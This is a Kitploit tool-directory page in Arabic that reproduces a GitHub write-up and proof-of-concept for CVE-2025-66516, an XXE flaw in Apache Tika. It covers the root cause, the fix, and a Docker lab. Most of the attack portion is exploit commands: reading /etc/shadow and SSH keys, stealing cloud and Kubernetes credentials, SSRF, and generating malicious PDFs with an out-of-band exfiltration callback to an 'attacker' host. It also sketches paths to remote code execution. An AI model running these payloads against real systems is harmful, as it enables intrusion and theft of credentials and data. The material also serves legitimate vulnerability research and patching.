Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-66516-Writeup-POC — CVE-2025-66516 استغلال عامل، ماسح ضوئي، شرح. | Kitploit
أدوات/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 استغلال عامل، ماسح ضوئي، شرح.

عرض المستودع
1021منذ 8 أشهرلم تتم المراجعة بعد

CVE-2025-66516: ثغرة XXE حرجة في Apache Tika

صورة

ملخص تنفيذي

CVE-2025-66516 هي ثغرة حقن كيان خارجي XML (XXE) حرجة في Apache Tika بدرجة CVSS 10.0 (أقصى خطورة). تسمح الثغرة للمهاجمين عن بعد بقراءة ملفات عشوائية، وتنفيذ تزوير طلب الخادم (SSRF)، وتسريب بيانات حساسة عن طريق تحميل مستند PDF مصمم خصيصًا يحتوي على محتوى XFA (هندسة نماذج XML) ضار.

السمةالقيمة
معرف CVECVE-2025-66516
درجة CVSS10.0 (حرجة)
تاريخ الكشف4 ديسمبر 2025
البائعمؤسسة برمجيات Apache
المنتج المتأثرApache Tika
ناقل الهجومالشبكة (عن بعد)
المصادقةلا شيء مطلوب

الإصدارات المتأثرة

المكونالإصدارات المعرضة للخطرالإصدار الثابت
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

هام: تلغي هذه CVE الإصدار CVE-2025-54988، الذي حدد بشكل غير صحيح وحدة PDF فقط على أنها معرضة للخطر. توجد الثغرة الفعلية في tika-core.


التحليل الفني

الثغرة

الثغرة هي عيب حقن كيان خارجي XML (XXE) في كيفية معالجة Apache Tika لبيانات XFA (هندسة نماذج XML) داخل مستندات PDF.

المشكلة: يعتمد Tika على محللات Java XML الأساسية (تحديدًا محلل StAX) لقراءة محتوى XFA XML. فشلت الإصدارات المعرضة للخطر في تكوين المحلل بشكل صحيح لتعطيل حل الكيانات الخارجية. عندما يواجه المحلل طلب كيان خارجي (مثل SYSTEM "file:///etc/passwd"), فإنه يقوم بحله وإرجاع محتويات الملف.

الموقع: العيب موجود في XMLReaderUtils.getXMLInputFactory() في tika-core:

root@kitploit:~
public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineffective
    return factory;
}

كان IGNORING_STAX_ENTITY_RESOLVER يهدف إلى حظر XXE عن طريق إرجاع نتيجة فارغة، لكنه أرجع String بدلاً من InputStream المتوقع. تجاهل محلل StAX الافتراضي في JDK هذا النوع الخاطئ من الإرجاع بصمت وعاد إلى السلوك الافتراضي، الذي يحل الكيانات الخارجية.

الإصلاح (Tika 3.2.2)

يقوم الإصلاح بتعطيل دعم DTD والكيانات الخارجية صراحة على مستوى المصنع:

root@kitploit:~
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

بالإضافة إلى ذلك، تم تغيير المحلل لإرجاع نوع InputStream مناسب.

الحماية العرضية من Woodstox

في النظام البيئي Java، توجد مكتبات متعددة لمحللات XML. تستخدم التطبيقات أي محلل تم تكوينه أو العثور عليه أولاً في مسار الفئة.

ما هو Woodstox؟ Woodstox هو محلل StAX XML عالي الأداء مفتوح المصدر يُجمَّع عادةً مع تطبيقات Java.

كيف يوفر الحماية: حسب التصميم (وليس عن طريق الصدفة)، يتعامل تنفيذ Woodstox بشكل صحيح مع نوع الإرجاع لـ XMLResolver. عندما يتلقى Woodstox قيمة الإرجاع النصية من IGNORING_STAX_ENTITY_RESOLVER، فإنه يعاملها كمحتوى فارغ صالح، مما يمنع XXE بشكل فعال.

التمييز الحرج:

  • tika-server-standard.jar يضم Woodstox - غير معرض للخطر
  • tika-core + وحدات المحلل (الاستخدام المضمن) لا يضم Woodstox - معرض للخطر
  • التطبيقات التي تستخدم محلل StAX الافتراضي لـ JDK - معرضة للخطر

بداية سريعة

اختبار الثغرة

root@kitploit:~
# 1. Start the lab environment
docker-compose up -d --build

# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check

بيئة المختبر

هيكل الدليل

root@kitploit:~
CVE-2025-66516/
|-- docker-compose.yml              # Lab orchestration
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika with Woodstox (protected)
|   +-- Dockerfile.jdk-stax         # Tika without Woodstox (VULNERABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask upload application
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Automated exploitation tool
|   +-- generate_payload.py         # Malicious PDF generator
+-- README.md

الخدمات

بدء المختبر

root@kitploit:~
docker-compose up -d --build

أدوات إثبات المفهوم

1. أداة الاستغلال الآلي (exploit.py)

استغلال كامل السلسلة مع توليد تلقائي للحمولة واستخراج البيانات.

root@kitploit:~
# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check

# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. مولد الحمولة (generate_payload.py)

ينشئ ملفات PDF ضارة للاختبار اليدوي أو التكامل مع أدوات أخرى.

root@kitploit:~
# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# List available attack modes
python poc/generate_payload.py --list-modes

أوضاع الهجوم المتاحة:

  • file_read - قراءة الملفات المحلية (/etc/passwd, /etc/shadow, إلخ.)
  • ssh_keys - سرقة مفاتيح SSH الخاصة
  • aws_metadata - بيانات AWS EC2 الوصفية وبيانات اعتماد IAM
  • gcp_metadata - رموز حسابات خدمة GCP
  • azure_metadata - رموز الهوية المدارة لـ Azure
  • k8s_secrets - بيانات اعتماد حساب خدمة Kubernetes
  • webapp_configs - تكوينات تطبيقات الويب الشائعة
  • ssrf_internal - استكشاف الخدمات الداخلية

نتائج الاختبار

التكوين المعرض للخطر (JDK StAX - بدون Woodstox)

الاختبار ضد Tika 2.9.2 بدون Woodstox (محاكاة النشر المضمن):

الاختبارالنتيجة
اكتشاف XFA[نجاح] تم التعرف على PDF على أنه يحتوي على XFA
تحليل XFA[نجاح] تم استخراج محتوى XFA
قراءة ملف XXE[معرض للخطر] تم تسريب محتويات /etc/passwd
XXE SSRF[معرض للخطر] تم إرسال طلبات خارجية

دليل الاستغلال:

root@kitploit:~
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

التكوين المحمي (Woodstox StAX)

الاختبار ضد Tika 2.9.2 مع Woodstox (tika-server-standard.jar القياسي):

الاختبارالنتيجة
اكتشاف XFA[نجاح] تم التعرف على PDF على أنه يحتوي على XFA
تحليل XFA[نجاح] تم استخراج محتوى XFA
قراءة ملف XXE[مُحجوب] لم يتم حل الكيانات الخارجية
XXE SSRF[مُحجوب] لا توجد اتصالات صادرة

يظهر الإخراج كيانًا فارغًا:

root@kitploit:~
<li fieldName="data">data: </li>

الاستنتاج

الثغرة حقيقية وحرجة. يعتمد الاستغلال على تنفيذ StAX:

  • [محمي] tika-server-standard.jar - Woodstox المضمن يمنع XXE
  • [معرض للخطر] Tika المضمن (tika-core + parsers) - يستخدم JDK StAX افتراضيًا
  • [معرض للخطر] النشر المخصص بدون Woodstox
  • [معرض للخطر] تكاملات المؤسسات (Elasticsearch, Solr, Alfresco) - غالبًا ما تستخدم Tika مضمنًا

قدرات هجوم XXE

هجوم XXE هو في الأساس ثغرة قراءة ملف/SSRF، وليس RCE مباشر. ومع ذلك، فإنه يمكّن عدة مسارات هجوم:

الهجمات المباشرة

الهجوممثال الحمولة
قراءة ملفSYSTEM "file:///etc/passwd"
SSRFSYSTEM "http://internal:8080/admin"
بيانات AWS الوصفيةSYSTEM "http://169.254.169.254/latest/meta-data/"

التصعيد إلى RCE

السيناريومسار الهجوم
AWS EC2XXE -> SSRF إلى البيانات الوصفية -> بيانات اعتماد IAM -> RCE في AWS CLI

المعالجة

الإجراءات الفورية

  1. ترقية Apache Tika إلى الإصدار 3.2.2 أو أحدث

    root@kitploit:~
    <dependency>
        <groupId>org.apache.tika</groupId>
        <artifactId>tika-core</artifactId>
        <version>3.2.2</version>
    </dependency>
    
  2. التحقق من تحديث جميع مكونات Tika (tika-core ووحدات المحلل)

تقييم المخاطر

نوع النشرمستوى المخاطرة
tika-server-standard.jarمنخفض - Woodstox يخفف
Tika المضمن (استخدام المكتبة)عالي - من المحتمل أن يكون معرضًا للخطر
مخصص بدون Woodstoxعالي - معرض للخطر

دفاع متعدد الطبقات

  1. التحقق من المدخلات - التحقق من أنواع الملفات المرفوعة
  2. تجزئة الشبكة - عزل معالجة Tika
  3. أقل امتياز - أذونات نظام ملفات دنيا
  4. المراقبة - التنبيه عند الوصول غير المعتاد إلى الملفات

رحلة البحث

المشكلات التي تمت مواجهتها

المشكلة 1: الاستغلال الأولي لم يعمل

  • تم اكتشاف XFA لكن XXE لم يتم تشغيله أبدًا
  • أمضيت وقتًا في تصحيح هيكل الحمولة

المشكلة 2: خطأ إعلانات XML متعددة

  • الخطأ: WstxParsingException: Illegal processing instruction target ("xml")
  • السبب: كل تيار XFA كان يتضمن إعلانات XML
  • الإصلاح: تضمين الإعلان فقط في الديباجة، وليس في التيارات الفرعية

المشكلة 3: لغز Woodstox

  • فشلت جميع الحمولات ضد tika-server-standard.jar
  • اكتشف أن Woodstox كان مضمنًا ويمنع XXE
  • أنشأت Dockerfile.jdk-stax للاختبار بدون Woodstox

المشكلة 4: اختبار التكوين الخاطئ

  • أهدرت الوقت على التكوين المحمي
  • الدرس: فهم شجرة التبعية الكاملة قبل الاختبار

الدروس المستفادة

  1. درجات CVSS تحتاج إلى سياق - العوامل البيئية تؤثر على قابلية الاستغلال
  2. اختبار التكوينات الدنيا - لا تفترض التبعيات المضمنة
  3. محللات XML تختلف بشكل كبير - نفس الكود يتصرف بشكل مختلف مع محللات مختلفة
  4. المضمن ≠ الخادم - استخدام المكتبة غالبًا ما يكون له تبعيات مختلفة
  5. رسائل الخطأ هي أدلة - استثناءات المحلل تكشف تفاصيل التنفيذ

المراجع

  • Apache Tika Security Advisory
  • Fix Commit
  • NVD Entry
  • Apache Tika Mailing List Discussion

الجدول الزمني

التاريخالحدث
أغسطس 2025تم الكشف عن CVE-2025-54988 (نطاق غير مكتمل)
4 ديسمبر 2025تم نشر CVE-2025-66516 (تم تحديد النطاق الكامل)
4 ديسمبر 2025تم إصدار Apache Tika 3.2.2 مع الإصلاح

إخلاء المسؤولية

بيئة المختبر هذه ورمز إثبات المفهوم مقدمان لاختبار الأمان المصرح به والأغراض التعليمية والبحث الدفاعي فقط.

لا تستخدم هذه الأدوات ضد الأنظمة دون إذن كتابي صريح.

الترخيص

هذه المادة البحثية مقدمة للأغراض التعليمية. استخدمها بمسؤولية.

تنزيل الأداة
الخدمةالمنفذالوصف
تطبيق الويب8080واجهة تحميل المستندات
Tika (Woodstox)9998محمي - غير معرض للخطر
Tika (JDK StAX)9997معرض للخطر - لا يوجد Woodstox
مستمع المهاجم9999خادم HTTP لاختبار OOB
KubernetesXXE -> قراءة رمز حساب الخدمة -> kubectl exec
Jenkins داخليXXE -> SSRF إلى وحدة التحكم بالبرنامج النصي -> Groovy RCE
قاعدة بياناتXXE -> قراءة ملفات التكوين -> الوصول إلى قاعدة البيانات
SSHXXE -> قراءة مفاتيح SSH -> الوصول عن بعد إلى الصدفة